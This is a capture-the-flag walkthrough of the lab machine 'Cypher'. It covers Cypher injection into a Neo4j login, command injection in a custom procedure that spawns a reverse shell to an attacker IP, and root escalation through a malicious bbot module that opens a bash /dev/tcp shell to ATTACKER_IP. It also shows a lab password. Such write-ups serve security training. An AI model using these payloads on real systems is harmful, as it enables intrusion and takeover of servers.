Cypher¶
Linux machine
Foothold¶
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMurODrr5ER4wj9mB2tWhXcLIcrm4Bo1lIEufLYIEBVY4h4ZROFj2+WFnXlGNqLG6ZB+DWQHRgG/6wg71wcElxA=
| 256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEqadcsjXAxI3uSmNBA8HUMR3L4lTaePj3o6vhgPuPTi
80/tcp open http syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://cypher.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
update /etc/hosts with cypher.htb.
about [Status: 200, Size: 4986, Words: 1117, Lines: 179, Duration: 35ms]
demo [Status: 307, Size: 0, Words: 1, Lines: 1, Duration: 34ms]
index [Status: 200, Size: 4562, Words: 1285, Lines: 163, Duration: 36ms]
login [Status: 200, Size: 3671, Words: 863, Lines: 127, Duration: 29ms]
testing [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 32ms]
:: Progress: [3024/3024] :: Job [1/1] :: 1149 req/sec :: Duration: [0:00:03] :: Errors: 0 ::
Go to http://cypher.htb/testing/ and dowload the jar file.
We want to decompile it. Google search java decompile, we get http://java-decompiler.github.io/. Download it and run:
Open the downloaded custom-apoc-extension-1.0-SNAPSHOT.jar. We see neo4j is being used. And precisely the version 5.23.0.
If we go to the login page source code we see that the request is sent to /api/auth and the following script:
<script>
// TODO: don't store user accounts in neo4j
function doLogin(e) {
e.preventDefault();
var username = $("#usernamefield").val();
var password = $("#passwordfield").val();
$.ajax({
url: '/api/auth',
type: 'POST',
contentType: 'application/json',
data: JSON.stringify({ username: username, password: password }),
success: function (r) {
window.location.replace("/demo");
},
error: function (r) {
if (r.status == 401) {
notify("Access denied");
} else {
notify(r.responseText);
}
}
});
}
$("form").keypress(function (e) {
if (e.keyCode == 13) {
doLogin(e);
}
})
$("#loginsubmit").click(doLogin);
</script>
Now, thanks to the script we downloaded and the page we know it's using neo4j and apoc 5.23.0.
Here is a guide on how to protect yourself from cypher injection (heh).
Let's try ' MATCH (all) DETACH; // as username and password. We get the following traceback:
Traceback (most recent call last): File "/app/app.py", line 142, in verify_creds results = run_cypher(cypher) File "/app/app.py", line 63, in run_cypher return [r.data() for r in session.run(cypher)] File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py", line 314, in run self._auto_result._run( File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 221, in _run self._attach() File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 409, in _attach self._connection.fetch_message() File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner func(*args, **kwargs) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message res = self._process_message(tag, fields) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message response.on_failure(summary_metadata or {}) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure raise Neo4jError.hydrate(**metadata) neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Invalid input ';': expected 'DELETE' (line 1, column 74 (offset: 73)) "MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = '' MATCH (all) DETACH; //' return h.value as hash" ^} During handling of the above exception, another exception occurred: Traceback (most recent call last): File "/app/app.py", line 165, in login creds_valid = verify_creds(username, password) File "/app/app.py", line 151, in verify_creds raise ValueError(f"Invalid cypher query: {cypher}: {traceback.format_exc()}") ValueError: Invalid cypher query: MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = '' MATCH (all) DETACH; //' return h.value as hash: Traceback (most recent call last): File "/app/app.py", line 142, in verify_creds results = run_cypher(cypher) File "/app/app.py", line 63, in run_cypher return [r.data() for r in session.run(cypher)] File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py", line 314, in run self._auto_result._run( File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 221, in _run self._attach() File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 409, in _attach self._connection.fetch_message() File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner func(*args, **kwargs) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message res = self._process_message(tag, fields) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message response.on_failure(summary_metadata or {}) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure raise Neo4jError.hydrate(**metadata) neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Invalid input ';': expected 'DELETE' (line 1, column 74 (offset: 73)) "MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = '' MATCH (all) DETACH; //' return h.value as hash" ^}
From the error we can see the query that is used. We can also see that the app uses SHA1 for passwords.
This probably selects the first user:
We get the following error about not having the correct password:
Traceback (most recent call last): File "/app/app.py", line 144, in verify_creds db_hash = results[0]["hash"] KeyError: 'hash' During handling of the above exception, another exception occurred: Traceback (most recent call last): File "/app/app.py", line 165, in login creds_valid = verify_creds(username, password) File "/app/app.py", line 151, in verify_creds raise ValueError(f"Invalid cypher query: {cypher}: {traceback.format_exc()}") ValueError: Invalid cypher query: MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = '' OR u.name IS :: STRING return h.value //' return h.value as hash: Traceback (most recent call last): File "/app/app.py", line 144, in verify_creds db_hash = results[0]["hash"] KeyError: 'hash'
Let's try to return a SHA1 hash of the letter a (use page http://www.sha1-online.com for example). Use the following as the username and letter a as the password:
And we are in!
Now on the demo page, there is option to make more queries, let's try to paste an ' apostrophe. We get the following error:
Traceback (most recent call last): File "/app/app.py", line 184, in get_nodes return run_cypher(query) File "/app/app.py", line 63, in run_cypher return [r.data() for r in session.run(cypher)] File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py", line 314, in run self._auto_result._run( File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 221, in _run self._attach() File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 409, in _attach self._connection.fetch_message() File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner func(*args, **kwargs) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message res = self._process_message(tag, fields) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message response.on_failure(summary_metadata or {}) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure raise Neo4jError.hydrate(**metadata) neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 1 (offset: 0)) "'" ^}
We can see it takes any input and executes it.
Let's modify the query from the login page with the info we got from the first error:
We get:
Let's try to enumerate the databases:
[
{
"name": "neo4j",
"type": "standard",
"aliases": [],
"access": "read-only",
"address": "localhost:7687",
"role": "primary",
"writer": true,
"requestedStatus": "online",
"currentStatus": "online",
"statusMessage": "",
"default": true,
"home": true,
"constituents": []
},
{
"name": "system",
"type": "system",
"aliases": [],
"access": "read-write",
"address": "localhost:7687",
"role": "primary",
"writer": true,
"requestedStatus": "online",
"currentStatus": "online",
"statusMessage": "",
"default": false,
"home": false,
"constituents": []
}
]
User¶
Still nothing.. aha! Remember the file we downloaded? It had custom procedures and functions:
[
{
"name": "custom.getUrlStatusCode",
"description": "Returns the HTTP status code for the given URL as a string",
"mode": "READ",
"worksOnSystem": false
},
{
"name": "custom.helloWorld",
"description": "A simple hello world procedure",
"mode": "READ",
"worksOnSystem": false
}
]
Try the hello world procedure:
Now let's try the second procedure:
According to the source code, let's try the following:
There is a problem with netcat and special characters, let's try python shell: Once the shell handler is running: We can start the revese shell:CALL custom.getUrlStatusCode("http://10.10.14.14:8000; echo <backconnect.py in base64> | base64 -d | python3")
neo4j user. Let's try to enumerate:
We see the user graphasm. Let's check his home directory:
There is an unusual file bbot_preset.yml. We got a password cU4btyib.20xtCMCXkBmerhK. doesn't work for neo4j, but it works for the graphasm user!
Let's SSH in ssh graphasm@cypher.htb.
Root¶
Check for sudo privileges with sudo -l:
sudo /usr/local/bin/bbot --help -> BIGHUGE BLS OSINT TOOL v2.1.0.4939rc.
Soooooo... this thing is modular and uses modules. Let's check the documentation for it. We see we can create new modules and import them. This is it!
Let's create a directory in tmp:
This will be /tmp/.sad/whois.py.
from subprocess import run
from bbot.modules.base import BaseModule
class whois(BaseModule):
# one-time setup - runs at the beginning of the scan
async def setup(self):
a = run("cat /root/root.txt", capture_output=True, shell=True)
print(a.stdout)
return False
async def handle_event(self, event):
pass
Root shell
Run listener on the attacker:
Update the module payload:
from subprocess import Popen
from bbot.modules.base import BaseModule
class whois(BaseModule):
# one-time setup - runs at the beginning of the scan
async def setup(self):
Popen("/bin/bash -c 'bash -i > /dev/tcp/<ATTACKER_IP>/1234 0>&1'", shell=True)
return False
async def handle_event(self, event):
pass
Upgrade the shell with (run it inside it):
More shell upgrades here.From the docs we can see we can set configuration in the preset, so let's create one.
/tmp/.sad/conf.yml:
Now let's run it:
Flag is in the output.